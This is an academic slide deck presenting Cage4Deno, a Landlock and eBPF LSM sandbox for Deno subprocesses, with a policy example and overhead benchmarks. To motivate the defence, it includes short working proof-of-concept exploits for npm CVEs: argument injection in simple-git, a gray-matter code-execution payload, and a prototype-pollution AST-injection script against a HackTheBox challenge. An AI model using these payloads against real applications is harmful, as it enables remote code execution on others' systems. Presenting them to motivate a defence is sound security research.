Cage4Deno: using Landlock and eBPF LSM to sandbox Deno subprocesses

Gianluca Oldani: gianluca.oldani@unibg.it
Marco Abbadini: marco.abbadini@unibg.it
Michele Beretta: michele.beretta@unibg.it
Contents of the presentation

- What is Landlock LSM
- What is eBPF
- A quick tour in the world of JavaScript CVEs targeting runtimes (e.g., Node)
- What is Deno, and how it addresses the previous tour
- What remains uncovered by Deno
- How we combined all of them to create Cage4Deno and a tour of it
Landlock
Landlock – what is it

- [https://landlock.io/](https://landlock.io/)
- Security feature available since Linux 5.13
  - Uses the *Linux Security Modules* (LSM) framework
  - Provides scoped access control (i.e., sandboxing)
  - Any process (even *unprivileged*) can restrict itself
- Must be configured in order to be used
  - When building the kernel with `CONFIG_SECURITY_LANDLOCK=y`
  - At boot setting `CONFIG_LSM`
- Enabled by default in some distros
  - Arch\textsuperscript{btw}
  - Debian Sid
  - Ubuntu (from 20.04)
  - WSL2
Landlock – reasons

- Why would I ever want to restrict my own code?
  - Even if your code is innocuous, it can become malicious during its lifetime
  - Bugs can be exploited (see the previous CVEs)
  - Your dependencies could be (or become) malicious
  - You don’t want your user to shoulder all security risks
  - You know what you need: restricting access only to that can improve security

- Why Landlock then?
  - It’s in the kernel (according to the kernel docs, using user space process to enforce restriction on kernel resources could lead to race condition or inconsistencies)
  - Ease of use, declarative API (C, Rust, Go, etc)
  - Actively developed
Landlock – how does it work

- Uses the concept of *rules*
  - Describe an action on an object
  - An object is a file hierarchy (currently)
- Rules can be aggregated in a *ruleset*
- Rulesets restrict the thread enforcing it, and its future children
- Has some limitations
  - You cannot define *exceptions*
  - A thread cannot modify its own topology (via *mount*)
  - Special file systems (e.g., pipe, socket, nsfs) cannot be explicitly restricted
  - A maximum of 16 layers of stacked rulesets
Landlock – little example (in Rust)

- Must use the landlock crate
- Start by defining the ruleset
  - Which ABI is supported
  - Which permissions to grant
- Everything is possible until the restrict_self
- Afterwards, Landlock is in effect
- Example code available at [github.com/unibg-seclab/nohat-demos](https://github.com/unibg-seclab/nohat-demos)

```rust
use anyhow::Result;
use landlock::*;
use std::fs;

const ACCESS: BitFlags<AccessFs> = 
    make_bitflags!(AccessFs::{Execute | ReadFile | ReadDir});

fn main() -> Result<()> {
    // Starts without restrictions
    let fd = PathFd::new("some/path")?
    let ruleset = Ruleset::new()
        .handle_access(AccessFs::from_all(ABI::V1))?
        .create()?;
    .add_rule(PathBeneath::new(fd, ACCESS))?

    fs::write("some/path/file", "This works :D")?

    // Restricted from here on
    ruleset.restrict_self();

    fs::write("some/path/file", "This does not :(")?

    Ok(())
}
```
**Landlock** – possible applications (WASM)

- **WASM can be:**
  - run directly on the system with runtimes (e.g., Wasmtime)
  - interpreted inside arbitrary programs (with libraries)

- **Current WASM runtimes do not have a lot of fine tuning when it comes to permissions**
  - Directory granularity
  - Access is always everything
Landlock – possible applications (WASM)

- Landlock could be used
  - Already available in most recent distros
  - No need to implement a custom access control layer

- Simple API, either already available
  - Rust [https://lib.rs/crates/landlock](https://lib.rs/crates/landlock)

- Or in development
  - Haskell [https://hackage.haskell.org/package/landlock](https://hackage.haskell.org/package/landlock)
  - Go [https://blog.gnoack.org/post/go-landlock-talk/](https://blog.gnoack.org/post/go-landlock-talk/)
Landlock – possible applications (WASM)
eBPF
eBPF – extended Berkeley Packet Filter

- Technology that allows execution of user programs inside the kernel
- eBPF programs:
  - are loaded at runtime
  - extend kernel capabilities
- Pros
  - No change needed to the kernel source code
  - No need to load new kernel modules
- It is possible to attach eBPF programs to LSM hooks and enforce access control
eBPF – extended Berkeley Packet Filter

- eBPF programs are *event-driven*
  - Run when a certain hook point is passed
  - Code is verified
  - And then *JIT-compiled*
- eBPF uses *maps* to persist data between invocations
- Common use cases
  - Networking
  - Observability of programs
- Why usually in the kernel?
  - Because of its privileges
  - And it’s hard to evolve
JavaScript for backend applications
General problem

- JavaScript is born as a language meant to be run in browsers
- Due to this use scenario, the language initially had several limitations due to security reasons
- Among these limitations, JavaScript was not able to:
  - Access the file system
  - Open connections to arbitrary hosts
  - Spawn subprocesses
- But everything described until now changed with the creation of JavaScript runtimes
Introducing Node.js

- Created by Ryan Dahl in 2009
- Allows the usage of JavaScript code for the backend of web application
- In general, JavaScript now is usable outside of the browser, with full access to the underlying file system
- While JavaScript can be considered a “good security sandbox” concerning memory management…
- it inherits the problems of a dynamic languages
The classics: **CVE-2022-25860**

- RCE in the `simple-git` npm package, a simple wrapper around git
- Cause of the CVE: input sanitization is a hard task and programmers often get it wrong (this CVE is a follow-up to CVE-2022-25912)
- If an attacker is able to manipulate the input to the command, they can execute arbitrary commands on the victim machine

```javascript
const simpleGit = require('simple-git');
let git = simpleGit();
git.clone('-u touch /tmp/pwn', 'file:///tmp/zero12');
git.pull('--upload-pack=touch /tmp/pwn0', 'master');
git.push('--receive-pack=touch /tmp/pwn1', 'master');
git.listRemote(['--upload-pack=touch /tmp/pwn2', 'main']);
```
Bad default configuration: **CVE-2021-23639**

I install only one npm package

It installs another 376 dependencies
x % 2 !== 0

CHECK IT OUT, I JUST WROTE NEW SERVER SOFTWARE IN JAVASCRIPT!

YOU WERE SO PREOCCUPIED WITH WHETHER OR NOT YOU COULD

YOU DIDN'T STOP TO THINK IF YOU SHOULD
Bad default configuration: **CVE-2021-23639**

- RCE in the **md-to-pdf** npm package
- This package depends upon another package **gray-matter**
- By default, the **gray-matter** library enables the rendering of JavaScript code provided as an input
- **md-to-pdf** should only process markdown files
- If an attacker is able to manipulate the input to the command, they can execute arbitrary commands on the victim machine

```javascript
const { mdToPdf } = require('md-to-pdf');
var payload = '---js
((require("child_process")).execSync("id > /tmp/RCE.txt"))
---RCE';
```
Common ground between the CVEs

- Every exposed CVE suppose that the attacker is able to manipulate the input string given as input
- This, in a lot of cases is a strong assumption but…
- In Node there is another very common category of CVEs that can ease the attacker job
Introducing prototype pollution: **CVE-2020-36632**

- Prototype pollution is a JavaScript vulnerability that enables an attacker to add arbitrary properties to global object prototypes.
- These properties may then be inherited by user-defined objects.
- In this way an attacker is able to manipulate the behaviour of code otherwise supposed as safe.
- The mentioned CVE is relative to the **flat** npm package and can be used to execute arbitrary commands on the victim machine.
Introducing prototype pollution: CVE-2020-36632

Code from https://www.hackthebox.com/: Gunship

```javascript
// Code from https://www.hackthebox.com/: Gunship
const path = require('path');
const express = require('express');
const handlebars = require('handlebars');
const {unflatten} = require('flat');
const router = express.Router();

router.get('/', (req, res) => {
  return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
  // unflatten method is vulnerable to prototype pollution
  const {artist} = unflatten(req.body);

  if (artist.name.includes('Haigh'))
    if (artist.name.includes('Westaway'))
      if (artist.name.includes('Gingell')) {
        return res.json({
          'response': handlebars.compile('Hello {{ user }}, thank you for letting us know!')({ user: 'guest' })
        });
      } else {
        return res.json({
          'response': 'Please provide us with the full name of an existing member.'
        });
    } else {
    }
});
```

```
import requests

TARGET_URL = 'http://Localhost:1337'
TARGET_URL = 'http://docker.hackthebox.eu:30448'

# make pollution
r = requests.post(TARGET_URL+'/api/submit', json = {
  "artist.name":"Gingell",
  "__proto__.type": "Program",
  "__proto__.body": [{
    "type": "MustacheStatement",
    "path": 0,
    "params": [{
      "type": "NumberLiteral",
      "value": process.mainModule.require('child_process').execSync('whoami > /app/static/out')"}
    },
    "loc": {
      "start": 0,
      "end": 0
    }
  ]
})
print(r.status_code)
print(r.text)
print(requests.get(TARGET_URL+ '/static/out').text)
```
What can be done?

- In all the exposed cases, JavaScript code is not meant to execute any kind of subprocess
- There already exists methods to execute JavaScript with restricted privileges in the host system
- Existing solution:
  - nvm module **vm2**
  - JavaScript reamls [https://github.com/tc39/proposal-shadowrealm](https://github.com/tc39/proposal-shadowrealm)
  - Deno
What is Deno

- Deno is a popular JavaScript runtime made by the same creator of Node.js, Ryan Dahl
- Several motivations are explained in his talk: 10 Things I Regret About Node.js https://www.youtube.com/watch?v=M3BM9TB-8yA
- One of these points was security
Deno is “secure by default”

- Deno claims to be **secure by default**
- This is due to the fact that it implements a permission system that does not allow JavaScript code to access the underlying OS unless specified otherwise by the user
- This means that by default, JavaScript code has no access to:
  - environment variables
  - system information
  - high resolution time measurements
  - network access
  - dynamic library loading
  - read/write access to the file system
  - spawn of subprocesses
- In addition to this, several measure against prototype pollution are in place by default on every JavaScript object
So… everything is ok right?

- What about programs that must use subprocesses?
- What about programs that must use payloads that are not part of JavaScript code? (e.g., images, videos)

```javascript
let p = Deno.run({cmd: ["exiftool", ".//input_images/input.jpg"]});
await p.status();
```
Cage4Deno objectives

- Compatibility with existing security mechanisms
- Ease of use
- Fine-grained access control
- Effective in mitigating even recent vulnerabilities
- Low runtime overhead
Current workflow of Deno

Deno

Resources

<table>
<thead>
<tr>
<th>Resource</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>stdout</td>
<td>1</td>
</tr>
<tr>
<td>stderr</td>
<td>2</td>
</tr>
<tr>
<td>subprocess</td>
<td>3</td>
</tr>
</tbody>
</table>

fn op_run(...)

V8

JS program

let proc = Deno.run({...})

exec /usr/bin/tar

V8 sandbox
Cage4Deno workflow
eBPF programs employed in Cage4Deno

<table>
<thead>
<tr>
<th>Thread lifecycle hooks</th>
<th>Access control hooks</th>
</tr>
</thead>
<tbody>
<tr>
<td>uprobe/attach_policy</td>
<td>lsm/path_mknod</td>
</tr>
<tr>
<td>lsm/task_alloc</td>
<td>lsm/path_mkdir</td>
</tr>
<tr>
<td>tp_btf/sched_process_fork</td>
<td>lsm/path_link</td>
</tr>
<tr>
<td>tp_btf/sched_process_exit</td>
<td>lsm/path_symlink</td>
</tr>
<tr>
<td></td>
<td>lsm/file_open</td>
</tr>
<tr>
<td></td>
<td>lsm/path_rename</td>
</tr>
<tr>
<td></td>
<td>lsm/path_rmdir</td>
</tr>
<tr>
<td></td>
<td>lsm/path_unlink</td>
</tr>
</tbody>
</table>

(a) (b)
Access policy example

```json
{
    "policies": [
        {
            "policy_name": "tarPolicy",
            "read": [
                "/usr/local/bin/tar",
                "/usr/lib/locale/locale-archive",
                "/usr/share/locale/locale.alias",
                "/usr/bin/gzip",
                "/lib/x86_64-linux-gnu/libc.so.6",
                "/lib64/ld-linux-x86-64.so.2",
                "/etc/ld.so.cache",
                "/home/user/input.tgz",
            ],
            "write": [
                "/home/user/output"
            ],
            "exec": [
                "/usr/local/bin/tar",
                "/usr/bin/gzip",
                "/lib/x86_64-linux-gnu/libc.so.6",
                "/lib64/ld-linux-x86-64.so.2"
            ],
            "deny": [
                "/home/user/output/output/misc"
            ]
        }
    ]
}
```
## Sample of mitigated CVEs

<table>
<thead>
<tr>
<th>CVE ID</th>
<th>Utility</th>
<th>Use case</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2016-1897</td>
<td>FFmpeg v3.2.5</td>
<td>Video processing</td>
</tr>
<tr>
<td>CVE-2016-1898</td>
<td>FFmpeg v3.2.5</td>
<td>Video processing</td>
</tr>
<tr>
<td>CVE-2019-12921</td>
<td>GraphicsMagick v1.3.31</td>
<td>Image processing</td>
</tr>
<tr>
<td></td>
<td><strong>Local File Read (LFR)</strong></td>
<td></td>
</tr>
<tr>
<td>CVE-2016-6321</td>
<td>GNU Tar v1.29</td>
<td>Archive decompression</td>
</tr>
<tr>
<td>CVE-2019-20916</td>
<td>Pip v19.0.3</td>
<td>Dependency fetch</td>
</tr>
<tr>
<td>CVE-2022-30333</td>
<td>UnRAR v6.11</td>
<td>Archive decompression</td>
</tr>
<tr>
<td></td>
<td><strong>Arbitrary File Overwrite (AFO)</strong></td>
<td></td>
</tr>
<tr>
<td>CVE-2016-3714</td>
<td>ImageMagick v6.9.2-10</td>
<td>Image processing</td>
</tr>
<tr>
<td>CVE-2020-29599</td>
<td>ImageMagick v7.0.10-36</td>
<td>Image processing</td>
</tr>
<tr>
<td>CVE-2021-3781</td>
<td>Ghostscript v9.54.0</td>
<td>PDF processing</td>
</tr>
<tr>
<td>CVE-2021-21300</td>
<td>Git v2.30.0</td>
<td>Clone repository</td>
</tr>
<tr>
<td>CVE-2021-22204</td>
<td>ExifTool v12.23</td>
<td>Image processing</td>
</tr>
<tr>
<td>CVE-2022-0529</td>
<td>Unzip v6.0-25</td>
<td>Archive decompression</td>
</tr>
<tr>
<td>CVE-2022-0530</td>
<td>Unzip v6.0-25</td>
<td>Archive decompression</td>
</tr>
<tr>
<td>CVE-2022-1292</td>
<td>OpenSSL v3.0.2</td>
<td>Certificate verification</td>
</tr>
<tr>
<td>CVE-2022-2566</td>
<td>FFmpeg v5.1</td>
<td>Image processing</td>
</tr>
<tr>
<td></td>
<td><strong>Remote Code Execution (RCE)</strong></td>
<td></td>
</tr>
</tbody>
</table>
Performance overhead on non-malicious use

<table>
<thead>
<tr>
<th>Utility</th>
<th>#rules</th>
<th>Deno [ms]</th>
<th>Cage4Deno [ms]</th>
</tr>
</thead>
<tbody>
<tr>
<td>cat</td>
<td>9</td>
<td>3.05±0.23</td>
<td>3.81±0.25</td>
</tr>
<tr>
<td>GraphicsMagick</td>
<td>81</td>
<td>10.16±1.02</td>
<td>12.16±1.12</td>
</tr>
<tr>
<td>UnRAR</td>
<td>25</td>
<td>13.86±1.97</td>
<td>15.84±2.71</td>
</tr>
<tr>
<td>ImageMagick</td>
<td>17</td>
<td>17.49±2.14</td>
<td>18.74±2.26</td>
</tr>
<tr>
<td>Unzip</td>
<td>15</td>
<td>20.90±3.95</td>
<td>22.66±3.62</td>
</tr>
<tr>
<td>OpenSSL</td>
<td>17</td>
<td>27.80±4.93</td>
<td>30.10±7.50</td>
</tr>
<tr>
<td>Git</td>
<td>26</td>
<td>66.52±4.75</td>
<td>72.46±5.22</td>
</tr>
<tr>
<td>ExifTool</td>
<td>38</td>
<td>109.20±6.67</td>
<td>112.88±4.25</td>
</tr>
<tr>
<td>GNU Tar</td>
<td>14</td>
<td>114.52±7.21</td>
<td>125.48±6.89</td>
</tr>
<tr>
<td>FFmpeg</td>
<td>12</td>
<td>321.50±9.55</td>
<td>336.70±9.78</td>
</tr>
<tr>
<td>Ghostscript</td>
<td>20</td>
<td>449.96±18.19</td>
<td>455.66±21.37</td>
</tr>
<tr>
<td>Pip</td>
<td>115</td>
<td>3022.52±20.55</td>
<td>3203.32±20.84</td>
</tr>
</tbody>
</table>
Performance overhead on *cat* varying ruleset size
References

2. Enhancing the security of WebAssembly runtimes using Linux Security Modules, *Poster*
3. Check our git repository: [https://github.com/unibg-seclab/cage4deno](https://github.com/unibg-seclab/cage4deno)
Thank you!